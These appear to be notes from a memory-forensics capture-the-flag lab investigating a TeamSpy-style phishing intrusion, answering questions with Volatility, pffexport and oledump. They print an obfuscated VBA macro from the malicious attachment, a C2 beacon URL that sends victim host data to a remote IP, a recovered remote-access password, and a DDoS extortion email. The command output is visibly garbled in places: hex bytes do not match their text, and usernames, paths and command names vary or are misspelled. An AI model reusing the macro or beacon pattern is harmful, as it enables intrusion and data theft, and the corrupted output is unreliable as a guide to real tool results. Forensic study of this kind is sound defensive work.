

Thursday, 8 September, 2022 1:46 PM

Get the imageinfo

```

1. What is the PID the malicious file is running under?
nmapscanbuntu:~/Desktop/cj74-Teamspy/escorpoffice$ vol.py -f winTscorpoffice2010-36b02ed3.vmem --profile=Win7SP1x64_23418 pstree
Volatility Foundation Volatility Framework 2.6.1
Name PId PPId Thds Hnds Time
0xfffffa80036c81b0:wininit.exe 412 344 3 77 2016-10-04 12:05:23 UTC+0000
0xfffffa80036c3130:services.exe 468 412 10 238 2016-10-04 12:05:23 UTC+0000
0xfffffa80036c3130:services.exe 468 412 3 87 2016-10-04 12:05:24 UTC+0000
0xfffffa800359760c:SearchIndexer.exe 3180 468 5 786 2016-10-04 12:06:17 UTC+0000
0xfffffa8002b09980:SearchProtocol 3692 3180 13 534 2016-10-05 03:05:07 UTC+0000
0xfffffa8001b3d060:SearchFilterHo 3924 3180 5 86 2016-10-05 03:05:07 UTC+0000
0xfffffa800300d7c0:svchost.exe 644 468 11 359 2016-10-04 12:05:24 UTC+0000
0xfffffa80040bf060:WmlPrvSE.exe 1580 644 11 235 2016-10-04 12:05:59 UTC+0000
0xfffffa8003697290:svchost.exe 908 468 17 414 2016-10-04 12:05:24 UTC+0000
0xfffffa80036c4960:dwm.exe 2468 908 3 72 2016-10-04 12:06:11 UTC+0000
0xfffffa8003d091c0:taskhost.exe 2388 468 10 175 2016-10-04 12:06:11 UTC+0000
0xfffffa80036c3130:svchost.exe 924 468 22 575 2016-10-04 12:05:24 UTC+0000
0xfffffa80036e2060:svchost.exe 928 468 39 1031 2016-10-04 12:05:24 UTC+0000
0xfffffa80041726e0:spssvc.exe 860 468 4 152 2016-10-04 12:07:51 UTC+0000
0xfffffa80035b0810:svchost.exe 816 468 19 479 2016-10-04 12:05:24 UTC+0000
0xfffffa8003fc9b30:vmtoolsd.exe 1136 468 10 302 2016-10-04 12:05:24 UTC+0000
0xfffffa80042beb30:cmd.exe 1920 1136 0 ----- 2016-10-05 03:05:11 UTC+0000
0xfffffa80042e4060:lpconfi.exe 3348 1920 0 ----- 2016-10-05 03:05:11 UTC+0000
0xfffffa80033ac7c0:vmacthlp.exe 708 468 3 57 2016-10-04 12:05:24 UTC+0000
0xfffffa8002a7b30:msdtc.exe 1996 468 12 136 2016-10-04 12:05:59 UTC+0000
0xfffffa8003cad000:svchost.exe 2232 468 13 354 2016-10-04 12:06:06 UTC+0000
0xfffffa8004289490:OSPPSVC.EXE 3532 468 4 130 2016-10-04 12:06:21 UTC+0000
0xfffffa8003a2b3b0:spoolsv.exe 1112 468 16 344 2016-10-04 12:05:24 UTC+0000
0xfffffa8004100060:dlhsvc.exe 1772 468 14 192 2016-10-04 12:05:59 UTC+0000
0xfffffa8003535060:svchost.exe 752 468 9 301 2016-10-04 12:05:24 UTC+0000
0xfffffa8003748b30:svchost.exe 372 468 15 639 2016-10-04 12:05:24 UTC+0000
0xfffffa80032bb30:svchost.exe 1144 468 9 306 2016-10-04 12:05:24 UTC+0000
0xfffffa80036ea0a0:svchost.exe 2948 468 5 75 2016-10-04 12:06:14 UTC+0000
0xfffffa80036c3130:svchost.exe 476 468 8 666 2016-10-04 12:05:23 UTC+0000
0xfffffa8003b37f00:lsn.exe 484 112 10 196 2016-10-04 12:05:23 UTC+0000
0xfffffa80036c3a00:csrss.exe 360 344 10 469 2016-10-04 12:05:22 UTC+0000
0xfffffa800248a750:conhost.exe 1948 360 0 ----- 2016-10-05 03:05:11 UTC+0000
0xfffffa80018a9e00:System 4 0 97 366 2016-10-04 12:05:22 UTC+0000
0xfffffa80027b4d70:smss.exe 280 4 2 30 2016-10-04 12:05:22 UTC+0000
0xfffffa8003d4cb30:explorer.exe 2492 2436 25 800 2016-10-04 12:06:11 UTC+0000
0xfffffa80036eb30:vmtoolsd.exe 2708 2492 7 183 2016-10-04 12:06:11 UTC+0000
0xfffffa8003a14068:chrome.exe 2896 2492 0 ----- 2016-10-04 12:06:14 UTC+0000
0xfffffa8003d4cb30:explorer.exe 2692 2492 29 2082 2016-10-05 03:05:11 UTC+0000
0xfffffa80037b0060:winlogon.exe 552 404 3 112 2016-10-04 12:05:23 UTC+0000
0xfffffa80037bf490:csrss.exe 428 404 11 363 2016-10-04 12:05:23 UTC+0000
0xfffffa8003ec3e7a70:SkypeC2AutoUpd 1364 2528 15 1951 2016-10-04 12:07:51 UTC+0000
nmapscanbuntu:~/Desktop/cj74-Teamspy/escorpoffice$

```

```
3. What is the Teamviewer version abused by the malicious file?
kali@kali:~/Desktop/c74-teanspy/ecorpoffice$ vol.py -f win7ecorppoffice2010-36b02ed3.vmem --profile=Win7SP1x64_23418 mendum --dump-dir - -p 1364
Volatility Foundation Volatility Framework 2.6.1
*****
Writing SkypeC2AutoUpd [ 1364] to 1364.dmp
```

```
GET /getinfo.php?
id=████████&stat=1&tout=60&id1=00:00:01&osbt=1&osv=5.1&osbd=7601&ospp=1.0&elv=1&rad=1&agn=1&
tvrv=0.2.2.9&ulv=0&devicea=1&devicev=0&uname=████████&scname=████████&ipvn=1&avr= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 5.1)
```

tout = timeout

idl = idle time

osbt = 32bit/64bit

osv = OS version

osbd = OS build version

ossp = service pack

tvrv = TeamViewer version

```
naman@ubuntu:~/Desktop/c74-TeamSpy/ecorpcoffice$ strings -n 10 1364.dmp | grep -i "tvrv"
```

```
4. What password did the malicious file use to enable remote access to the system?
msf5@kali:~/Desktop/c74-TeamSp/ecomporfices$ vol.py -f win7ecorpooffice2010-36b02ed3.vmem --profile=Win7SP1x64_23418 editbox
Volatility Foundation Volatility Framework 2.6.1
*****
Wmd Context      : 1\WinSta0\Default
Process ID       : 1364
```

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpooffice$ vol.py -f win7ecorpooffice2010-36b02ed3.vmem --profile=Win7SP1x64_23418 editbox
Volatility Foundation Volatility Framework 2.6.1
*****
Wmd Context      : 1\WinSta0\Default
Process ID       : 1364
ImageFileName    : SkypeC2AutoUpd
IsWow64          : Yes
atom_class       : 0.0.7600.16385!Edit
value-of WmdExtra : 0xf07848
nChars           : 43
selStart         : 0
selEnd           : 0
isPwDControl     : False
undoPos          : 0
undoLen          : 0
address-of undoBuf: 0x0
undoBuf          :
-----
Передайте свои ID 528 812 561 и пароль 8218
*****

```

```

*****
Wmd Context      : 1\WinSta0\Default
Process ID       : 1364
ImageFileName    : SkypeC2AutoUpd
IsWow64          : Yes
atom_class       : 0.0.7600.16385!Edit
value-of WmdExtra : 0xf06a08
nChars           : 8
selStart         : 0
selEnd           : 0
isPwDControl     : False
undoPos          : 0
undoLen          : 0
address-of undoBuf: 0x0
undoBuf          :
-----
P59f593n
*****

```

5. What was the sender's email address that delivered the phishing email?

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpooffice$ vol.py -f win7ecorpooffice2010-36b02ed3.vmem --profile=Win7SP1x64_23418 yarascan -Y "From:"
Volatility Foundation Volatility Framework 2.6.1
Rule: r1
Owner: Process OUTLOOK.EXE Pid 2692
0x08577e77 46 72 6f 6d 3a 20 22 0b 61 72 65 6e 6d 69 6c 65 From: "karenmle
0x08577e87 73 40 74 2d 6f 6e 6c 69 6e 65 2e 64 65 22 20 3c s@t-online.de".<
0x08577e97 6b 61 72 65 6e 6d 69 6c 65 73 40 74 2d 6f 6e dc karenmiles@t-onl
0x08577ea7 69 6e 65 2e 64 65 3e 0d 0a 53 65 6e 64 65 72 3a lne.de>..Sender:
0x08577eb7 20 22 0b 61 72 65 6e 6d 69 6c 65 73 40 74 2d 6f ."karenmiles@t-o
0x08577ec7 6e 6c 69 6e 65 2e 64 65 22 20 3c 0b 61 72 65 6e nline.de".<karen
0x08577ed7 6d 69 6c 65 73 40 74 2d 6f 6e 6c 69 6e 65 2e 64 mles@t-online.d
0x08577ee7 65 3e 0d 0a 52 65 70 6c 79 2d 54 0f 3a 20 22 0b es>..Reply-To: "k
0x08577ef7 61 72 65 6e 6d 69 6c 65 73 40 74 2d 6f 6e 6c 69 arenmiles@t-onl
0x08577f07 6e 65 2e 64 65 22 20 3c 0b 61 72 65 6e 6d 69 6c ne.de".<karenmll
0x08577f17 65 73 40 74 2d 6f 6e 6c 69 6e 65 2e 64 65 3e 0d es@t-online.de>..
0x08577f27 0a 54 6f 3a 20 22 70 68 69 6c 6c 69 70 2e 70 72 .To: "phillip.pr
0x08577f37 69 63 65 40 65 2d 63 6f 72 70 2e 62 69 7a 22 20 ice@corp.biz".
0x08577f47 3c 70 68 69 6c 6c 69 70 2e 70 72 69 63 65 40 65 <phillip.price@
0x08577f57 2d 63 6f 72 70 2e 62 69 7a 3e 0d 0a 4d 65 73 73 -corp.biz>..Mess
0x08577f67 61 67 65 2d 49 44 3a 20 3c 31 34 37 35 35 38 32 age-ID: <1475582
Rule: r1
Owner: Process OUTLOOK.EXE Pid 2692
0x07e9dc82 46 72 6f 6d 3a 20 44 61 74 65 3a 4e 6f 72 6d 61 From: Date: Norma
0x07e9dc92 6c 68 65 61 64 69 6e 67 20 31 68 65 61 64 69 6e lheading,1headin
0x07e9dca2 67 20 32 68 65 61 64 69 6e 67 20 33 68 65 61 64 g,2heading,3head
0x07e9dcb2 69 6e 67 20 34 68 65 61 64 69 6e 67 20 35 68 65 ing,4heading,5he
0x07e9dcd2 61 64 69 6e 67 20 36 68 65 61 64 69 6e 67 20 37 ading,6heading,7
0x07e9dce2 68 6f 6c 61 64 69 6e 67 20 38 68 65 61 64 69 6e 67 heading,8heading
0x07e9dcf2 20 39 69 6e 64 65 78 20 31 69 6e 64 65 78 20 32 ,9index,1index,2
0x07e9dd02 69 6e 64 65 78 20 33 69 6e 64 65 78 20 34 69 6e lindex,3index,4in
0x07e9dd12 64 65 78 20 35 69 6e 64 65 78 20 36 69 6e 64 65 dex,5index,6inde
0x07e9dd22 78 20 37 69 6e 64 65 78 20 38 69 6e 64 65 78 20 x,7index,8index.
0x07e9dd32 39 74 6f 63 20 31 74 6f 63 20 32 74 6f 63 20 33 9toc,1toc,2toc,3
0x07e9dd42 74 6f 63 20 34 74 6f 63 20 35 74 6f 63 20 36 74 toc,4toc,5toc,6t
0x07e9dd52 6f 63 20 37 74 6f 63 20 38 74 6f 63 20 39 4e 6f oc,7toc,8toc,9No
0x07e9dd62 72 6d 61 6c 20 40 6e 64 65 6e 74 6d 6f 6f 74 6e rmal,1indentfootn
0x07e9dd72 6f 74 65 20 74 65 78 74 61 6e 6e 6f 74 61 74 69 ote,1textannotati
0x07e9dd82 6f 6e 20 74 65 78 74 68 65 61 64 65 72 6d 6f 6f on,2textheaderfoo
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpooffice$

```

6. What is the MD5 hash of the malicious document?

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpooffice$ vol.py -f win7ecorpooffice2010-36b02ed3.vmem --profile=Win7SP1x64_23418 filescan | grep -i .pst
Volatility Foundation Volatility Framework 2.6.1
0x000000007d4d9750 15 0 RW-r-- \Device\HarddiskVolume1\Users\phillip.price\Documents\Outlook Files\Outlook .pst
0x000000007d4d84a0 13 0 R--r-d \Device\HarddiskVolume1\PROGRA-2\Microsoft\Office14\WPX32.DLL
0x000000007d4d9450 16 0 RW-r-- \Device\HarddiskVolume1\Users\phillip.price\AppData\Local\Microsoft\Outlook\phillip.price@corp.biz .pst
0x000000007d4df820 12 0 R--r-d \Device\HarddiskVolume1\Windows\System32\pscorec.dll
0x000000007d0b6700 11 0 R--r-d \Device\HarddiskVolume1\Windows\System32\psorsvc.dll
0x000000007da58b50 17 1 RW-rw- \Device\HarddiskVolume1\Users\phillip.price\AppData\Local\Microsoft\Outlook\phillip.price@corp.biz .pst.tmp
0x000000007daafa70 13 0 R--r-d \Device\HarddiskVolume1\PROGRA-2\Microsoft\Office14\MSPT32.DLL
0x000000007db2b520 8 8 RW-r-- \Device\HarddiskVolume1\Users\phillip.price\AppData\Local\Microsoft\Outlook\phillip.price@corp.biz .pst
0x000000007db2d540 1 1 RW-rw- \Device\HarddiskVolume1\Users\phillip.price\AppData\Local\Microsoft\Outlook\phillip.price@corp.biz .pst.tmp
0x000000007db37f20 1 1 RW-rw- \Device\HarddiskVolume1\Users\phillip.price\Documents\Outlook Files\Outlook .pst.tmp
0x000000007e8d2420 14 0 R--r-- \Device\HarddiskVolume1\Windows\Fonts\BOD_001.CTF
0x000000007e9c3650 13 0 R--rwd \Device\HarddiskVolume1\Windows\System32\pscorec.dll
0x000000007fc565a0 17 1 RW-rw- \Device\HarddiskVolume1\Users\phillip.price\Documents\Outlook Files\Outlook .pst.tmp
0x000000007fc9e2e0 10 9 RW-r-- \Device\HarddiskVolume1\Users\phillip.price\Documents\Outlook Files\Outlook .pst
0x000000007fd38c80 1 0 RW-r-- \Device\HarddiskVolume1\Users\phillip.price\AppData\Local\Microsoft\Outlook\phillip.price@corp.biz .pst
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpooffice$ mkdir email
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpooffice$ vol.py -f win7ecorpooffice2010-36b02ed3.vmem --profile=Win7SP1x64_23418 dumpfiles -Q 0x000000007fd38c80 -u -n -n -dump-dir=email/
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x7fd38c80 None \Device\HarddiskVolume1\Users\phillip.price\AppData\Local\Microsoft\Outlook\phillip.price@corp.biz.pst
SharedCacheMap 0x7fd38c80 None \Device\HarddiskVolume1\Users\phillip.price\AppData\Local\Microsoft\Outlook\phillip.price@corp.biz.pst
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpooffice$ file email/*
email/file.None.0xfffffa8003ef6790.phillip.price@corp.biz.pst.vacb: Microsoft Outlook email folder (>=2003)
email/file.None.0xfffffa80042dcf10.phillip.price@corp.biz.pst.dat: Microsoft Outlook email folder (>=2003)

```

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpooffice$email$ pffexport file.None.0xfffffa80042dcf10.phillip.price@corp.biz.pst.dat
pffexport 20180714

Opening file.
Exporting items.
Exporting folder item 1 out of 7.
Exporting folder item 2 out of 7.
Exporting email item 1 out of 4.
Exporting recipient.
Exporting email item 2 out of 4.
Exporting recipient.
Exporting email item 3 out of 4.
Exporting recipient.
Exporting email item 4 out of 4.
Exporting recipient.
Exporting email item 1 out of 11.
Exporting recipient.
Exporting email item 2 out of 11.
Exporting recipient.
Exporting email item 3 out of 11.
Exporting recipient.
Exporting email item 4 out of 11.
Exporting recipient.
Exporting email item 5 out of 11.
Exporting recipient.
Exporting email item 6 out of 11.
Exporting recipient.
Exporting email item 7 out of 11.
Exporting recipient.
Exporting email item 8 out of 11.
Exporting recipient.
Exporting email item 9 out of 11.
Exporting recipient.
Exporting email item 10 out of 11.

```

```

manan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoffice/email$ pffexport file.None.0xfffffa0042dcf10.phillip.price@corp.biz.pst.dat
pffexport 20180714

Opening file.
Exporting items.
Exporting folder item 1 out of 7.
Exporting folder item 2 out of 7.
Exporting email item 1 out of 4.
Exporting recipient.
Exporting email item 2 out of 4.
Exporting recipient.
Exporting email item 3 out of 4.
Exporting recipient.
Exporting email item 4 out of 4.
Exporting recipient.
Exporting email item 1 out of 11.
Exporting recipient.
Exporting email item 2 out of 11.
Exporting recipient.
Exporting email item 3 out of 11.
Exporting recipient.
Exporting email item 4 out of 11.
Exporting recipient.
Exporting email item 5 out of 11.
Exporting recipient.
Exporting email item 6 out of 11.
Exporting recipient.
Exporting email item 7 out of 11.
Exporting recipient.
Exporting email item 8 out of 11.
Exporting recipient.
Exporting email item 9 out of 11.
Exporting recipient.
Exporting email item 10 out of 11.
Exporting recipient.
Exporting email item 11 out of 11.
Exporting recipient.
Exporting attachment 1 out of 1.
Exporting folder item 3 out of 7.
Exporting folder item 4 out of 7.
Exporting folder item 5 out of 7.
Exporting folder item 6 out of 7.
Exporting folder item 7 out of 7.

Export completed.
manan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoffice/email$

```

```

manan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoffice/email/file.None.0xfffffa0042dcf10.phillip.price@corp.biz.pst.dat.export$ ll *
ItemProcSearch:
total 8
drwxr-xr-x 2 manan manan 4096 Sep  8 09:24 ./
drwxr-xr-x 9 manan manan 4096 Sep  8 09:24 ../

Reminders:
total 8
drwxr-xr-x 2 manan manan 4096 Sep  8 09:24 ./
drwxr-xr-x 9 manan manan 4096 Sep  8 09:24 ../

'Search Root':
total 16
drwxr-xr-x 4 manan manan 4096 Sep  8 09:24 ./
drwxr-xr-x 9 manan manan 4096 Sep  8 09:24 ../
drwxr-xr-x 2 manan manan 4096 Sep  8 09:24 MS-OLK-FGPoolSearchFolder54F0A068BC4A89488B111274DD039E3E/
drwxr-xr-x 2 manan manan 4096 Sep  8 09:24 MS-OLK-FGPoolSearchFolder82AEAE703E7F409D9441168194AA79/

'SPAN Search Folder 2':
total 8
drwxr-xr-x 2 manan manan 4096 Sep  8 09:24 ./
drwxr-xr-x 9 manan manan 4096 Sep  8 09:24 ../

'To-Do Search':
total 8
drwxr-xr-x 2 manan manan 4096 Sep  8 09:24 ./
drwxr-xr-x 9 manan manan 4096 Sep  8 09:24 ../

'Top of Outlook data file':
total 12
drwxr-xr-x 3 manan manan 4096 Sep  8 09:24 ./
drwxr-xr-x 9 manan manan 4096 Sep  8 09:24 ../
drwxr-xr-x 15 manan manan 4096 Sep  8 09:24 Inbox/

'Tracked Mail Processing':
total 8
drwxr-xr-x 2 manan manan 4096 Sep  8 09:24 ./
drwxr-xr-x 9 manan manan 4096 Sep  8 09:24 ../

```

```

manan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoffice/email/file.None.0xfffffa0042dcf10.phillip.price@corp.biz.pst.dat.export/Top of Outlook data file/Inbox$ tree *
locales-launch: Data of en_US locale not found, generating, please wait...
Message00001
├── ConversationIndex.txt
├── InternetHeaders.txt
├── Message.txt
├── OutlookHeaders.txt
└── Recipients.txt
Message00002
├── ConversationIndex.txt
├── InternetHeaders.txt
├── Message.txt
├── OutlookHeaders.txt
└── Recipients.txt
Message00003
├── ConversationIndex.txt
├── InternetHeaders.txt
├── Message.txt
├── OutlookHeaders.txt
└── Recipients.txt
Message00004
├── ConversationIndex.txt
├── InternetHeaders.txt
├── Message.txt
├── OutlookHeaders.txt
└── Recipients.txt
Message00005
├── ConversationIndex.txt
├── InternetHeaders.txt
├── Message.txt
├── OutlookHeaders.txt
└── Recipients.txt
Message00006
├── ConversationIndex.txt
├── InternetHeaders.txt
├── Message.txt
├── OutlookHeaders.txt
└── Recipients.txt

```



```

-- Message.txt
-- OutlookHeaders.txt
-- Recipients.txt
Message00010
-- ConversationIndex.txt
-- InternetHeaders.txt
-- Message.txt
-- OutlookHeaders.txt
-- Recipients.txt
Message00011
-- Attachments
-- 1_bank_statement_088452.doc
-- ConversationIndex.txt
-- InternetHeaders.txt
-- Message.txt
-- OutlookHeaders.txt
-- Recipients.txt
Sent
-- Message00001
-- ConversationIndex.txt
-- InternetHeaders.txt
-- Message.txt
-- OutlookHeaders.txt
-- Recipients.txt
-- Message00002
-- ConversationIndex.txt
-- InternetHeaders.txt
-- Message.txt
-- OutlookHeaders.txt
-- Recipients.txt
-- Message00003
-- ConversationIndex.txt
-- InternetHeaders.txt
-- Message.txt
-- OutlookHeaders.txt
-- Recipients.txt
-- Message00004
-- ConversationIndex.txt
-- InternetHeaders.txt
-- Message.txt
-- OutlookHeaders.txt
-- Recipients.txt
Trash

```

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoOffice/emails/file.None.0xfffffa0042dcf10.phillip.price@corp.biz.pst.dat.export/Top of Outlook data file/Inbox/Message00011$ cd Attachments/
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoOffice/emails/file.None.0xfffffa0042dcf10.phillip.price@corp.biz.pst.dat.export/Top of Outlook data file/Inbox/Message00011/Attachments$ ls
1_bank_statement_088452.doc
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoOffice/emails/file.None.0xfffffa0042dcf10.phillip.price@corp.biz.pst.dat.export/Top of Outlook data file/Inbox/Message00011/Attachments$ nd5sum 1_bank_statement_
088452.doc
c2dbf24addc7276a71dd0824647535c9 1_bank_statement_088452.doc
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoOffice/emails/file.None.0xfffffa0042dcf10.phillip.price@corp.biz.pst.dat.export/Top of Outlook data file/Inbox/Message00011/Attachments$

```

7. What is the bitcoin wallet address that ransomware was demanded?

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoOffice/emails/file.None.0xfffffa0042dcf10.phillip.price@corp.biz.pst.dat.export/Top of Outlook data file/Inbox/Message00010$ cat Message.txt
FORWARD THIS MAIL TO WHOEVER IS IMPORTANT IN YOUR COMPANY AND CAN MAKE
DECISION!

We are Arnada Collective.

All your servers will be DDoS-ed starting Thursday (Oct 5th 2016) if you
don't pay 5 Bitcoins @ 25UMdkGKBe484W5j5Qd8DHk6xkMuZQFydy

When we say all, we mean all - users will not be able to access sites host
with you at all.

If you don't pay by Thursday, attack will start, price to stop will
increase by 5 BTC for every day of attack.

If you report this to media and try to get some free publicity by using our
name, instead of paying, attack will start permanently and will last for a
long time.

This is not a joke.

Our attacks are extremely powerful - sometimes over 10 Tbps per second. So,
no cheap protection will help.

Prevent it all with just 5 BTC @ 25UMdkGKBe484W5j5Qd8DHk6xkMuZQFydy

Do not reply, we will probably not read. Pay and we will know its you. AND
YOU WILL NEVER AGAIN HEAR FROM US!

Bitcoin is anonymous, nobody will ever know you cooperated.

```

```
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoOffice/emails/file.None.0xfffffa0042dcf10.phillip.price@corp.biz.pst.dat.export/Top of Outlook data file/Inbox/Message00010$
```

8. What is the ID given to the system by the malicious file for remote access?

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoOffice$ strings -n 10 1364.dmp | grep -i "tvrv"
tp://54.174.131.235/getInfo.php?id=528812561&stat=1&tout=10&osbt=2&osv=6.1&osbd=7600&ossp=0.0&ulv=2&elv=0&rad=0&agg=1&devicea=0&devicev=0&uname=phillip.price&cname=WIN-191HVE3KTL0&vpn=0&tvrv=0.2.2.2
tp://54.174.131.235/getInfo.php?id=528812561&stat=1&tout=10&osbt=2&osv=6.1&osbd=7600&ossp=0.0&ulv=2&elv=0&rad=0&agg=1&devicea=0&devicev=0&uname=phillip.price&cname=WIN-191HVE3KTL0&vpn=0&tvrv=0.2.2.2
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoOffice$

```

9. What is the IPv4 address the actor last connected to the system with the remote access tool?

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoOffice$ strings -n 10 1364.dmp | grep -xE "([0-9]{1,3}).([0-9]{1,3}).([0-9]{1,3}).([0-9]{1,3})" | uniq -c
2 31.6.13.155
1 75.70.165.88
1 5.70.165.88
1 192.168.1.118
1 88.172.251.2
1 54.174.131.235
1 88.172.251.2
2 1.28.03.52
1 216.58.217.8
1 216.58.217.14
2 1.2.840.113
1 1.2.840.11
1 75.70.165.88
1 1.2.840.113
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpoOffice$

```

10. What Public Function in the word document returns the full command string that is eventually run on the system?

```

remnux@remnux:~$ oledump.py 1_bank_statement_088452.doc
A: word/vbaProject.bin
A1: 442 'PROJECT'
A2: 41 'PROJECTNm'
A3: M 40051 'VBA/ThisDocument'
A4: 4313 'VBA/_VBA_PROJECT'
A5: 10839 'VBA/_SRP 0'
A6: 788 'VBA/_SRP 1'
A7: 17659 'VBA/_SRP 2'
A8: 3804 'VBA/_SRP 3'
A9: 777 'VBA/di'
B: word/activeX/activeX1.bin
B1: 94 'Contents'

```

```

remnux@remnux:~$ oledump.py 1 bank statement 088452.doc -s A3 -v
Attribute VB Name = "ThisDocument"
Attribute VB Base = "0(00020900-0000-0000-C000-000000000046)"
Attribute VB GlobalNameSpace = False
Attribute VB Creatable = False
Attribute VB PredeclaredId = True
Attribute VB Exposed = True
Attribute VB TemplateDerived = False
Attribute VB Customizable = True
Attribute VB Control = "Img, 0, 0, MSINKAUTLib, InkPicture"
dim lclLcaZ As Boolean
Public Sub Img Painted(ByVal HHZiubL As Long, ByVal AoLnF As InkRectangle)
If lclLcaZ Then Exit Sub
lclLcaZ = True
xvkBJM
End Sub
Public Sub xvkBJM()
On Error GoTo DoWhOs
onTriEc
PDSnMam
VBhkpG
oADSc
suDVZ
Set gDFGB = CreateObject(pEEyJqs)
WFCWff gDFGB.Run(UsOJar, 0)
MsgBox ("Invalid Macro Format")
Exit Sub
DoWhOs:
MsgBox (666)
End Sub

Public Function pEEyJqs() As String
pEEyJqs = a("c.l0wpe0rS5iStlCEihhi", 229, 158)
End Function

Public Function UsOJar() As String
UsOJar = dbgKng(a("AHABJACABZAEuBbYeoQrMA9AAWABQAOABWAHABIAg3BIECsACMAuABeAlAAABAAGABdAhpAIADSBb4Hu0U4AppAsABAAGABQAHABYAHUBIH0A0jwAvgIEAyAAIABQAHABbAHVBNAG0BLW3AZ4Av0AwAAEAAGABMAH1BcUDpgcYAppAQABwAkAB
AAHABZACWBZUG00yCvg2AUQAMABQACAAAHqABAHYBKHO0VqAggAIABQAHAAAAGABBAH1AZkGiAb4Asw)UAjAAUABwAHAAVADBBdgD1Bd4Gu0ZUAFwABQAHABZADABYAG1BIvG4QYwAwAAUALAAQAAAFABLAH1BLUHfANwEwARQAHQABGABGABCAChALACbZINTgbUAlgAB
AAwABwABCAABUAG1BCeCLAG0AvGToApwAQABAAAGABIAFIALMDKBIAGuwbKA2gAMBAACAAZAFABYAG1BZgCuQUgAGaYAQwAIABQA" &
"HABdCsBeKcIALH0waQAVwAoABwACAAUAGvAdAG2AQMDj014Ay0AUABQATAAQAGABZACvBLIG2gZQAYAO0AuQAAABAAEAZACrAeICzAbkF9wQQAkQABABQACAB1ACAB1ACyBTAG1AcQAugAMUAAACABAAFAAZAG4BdKCLQMIClwbKA1AAUABwAGABQAD+AdAGsBV8H1gdYAO
gAYABQAUABAAACAAAEZBZUD2AIIArgZgAYOABQABGABdAGoAM_DZBZIClgZoAoAAABGABGABQABZAE1AZS6ngUBAIAAEAugAsABWAGAACAH1BIUCugN8HG0I1ADQAAABAAFAAaAHAAIAGsAZcF3AZ1A0AAQAAgAYAAQAFABYACfAc4CsauA0wIKatwAIAAgAGAAcACuBXADsBbw
G00AQABQAEABQACAAgACAAZAGtBeQCu0K1A1AA4A1AACABQACABZACKBZAG3GNIHvge4A5wAEAg", 353, 469))
End Function
Public Sub onTriEc()
If d0Jcu(kiBgvvL) Then Error 102

```

11. What is the MD5 hash of the malicious document?

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpn7$ vol.py -f ecorpn7-e73257c4.vmem --profile=Wln7SP1x64_23418 filescan | grep ".pst"
Volatility Foundation Volatility Framework 2.6.1
0x000000007de176c0 17 1 RW-rw- \Device\HarddiskVolume1\Users\scott.knowles\AppData\Local\Microsoft\Outlook\Outlscott.knowles@corp.biz-00000004.pst.tmp
0x000000007de17f20 6 0 RW-r-- \Device\HarddiskVolume1\Users\scott.knowles\AppData\Local\Microsoft\Outlook\Outlscott.knowles@corp.biz-00000004.pst
0x000000007e1f3f20 13 0 R--r-d \Device\HarddiskVolume1\Windows\SysMOW64\p0rrec.dll
0x000000007e267f20 27 6 RW-r-- \Device\HarddiskVolume1\Users\scott.knowles\AppData\Local\Microsoft\Outlook\Outlook.pst
0x000000007e2e75a0 26 0 RW-r-- \Device\HarddiskVolume1\Users\scott.knowles\AppData\Local\Microsoft\Outlook\Outlscott.knowles@corp.biz-00000004.pst
0x000000007e5b6e10 5 1 RW-rw- \Device\HarddiskVolume1\Users\scott.knowles\AppData\Local\Microsoft\Outlook\Outlook.pst.tmp
0x000000007e6ff7f0 12 0 R--r-d \Device\HarddiskVolume1\Windows\System32\p0rsrcv.dll
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpn7$

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpn7$ vol.py -f ecorpn7-e73257c4.vmem --profile=Wln7SP1x64_23418 filescan | grep ".pst"
Volatility Foundation Volatility Framework 2.6.1
0x000000007de176c0 17 1 RW-rw- \Device\HarddiskVolume1\Users\scott.knowles\AppData\Local\Microsoft\Outlook\Outlscott.knowles@corp.biz-00000004.pst.tmp
0x000000007de17f20 6 0 RW-r-- \Device\HarddiskVolume1\Users\scott.knowles\AppData\Local\Microsoft\Outlook\Outlscott.knowles@corp.biz-00000004.pst
0x000000007e1f3f20 13 0 R--r-d \Device\HarddiskVolume1\Windows\SysMOW64\p0rrec.dll
0x000000007e267f20 27 6 RW-r-- \Device\HarddiskVolume1\Users\scott.knowles\AppData\Local\Microsoft\Outlook\Outlook.pst
0x000000007e2e75a0 26 0 RW-r-- \Device\HarddiskVolume1\Users\scott.knowles\AppData\Local\Microsoft\Outlook\Outlscott.knowles@corp.biz-00000004.pst
0x000000007e5b6e10 5 1 RW-rw- \Device\HarddiskVolume1\Users\scott.knowles\AppData\Local\Microsoft\Outlook\Outlook.pst.tmp
0x000000007e6ff7f0 12 0 R--r-d \Device\HarddiskVolume1\Windows\System32\p0rsrcv.dll
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpn7$
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x7e2e75a0 None \Device\HarddiskVolume1\Users\scott.knowles\AppData\Local\Microsoft\Outlook\Outlscott.knowles@corp.biz-00000004.pst
SharedCacheMap 0x7e2e75a0 None \Device\HarddiskVolume1\Users\scott.knowles\AppData\Local\Microsoft\Outlook\Outlscott.knowles@corp.biz-00000004.pst

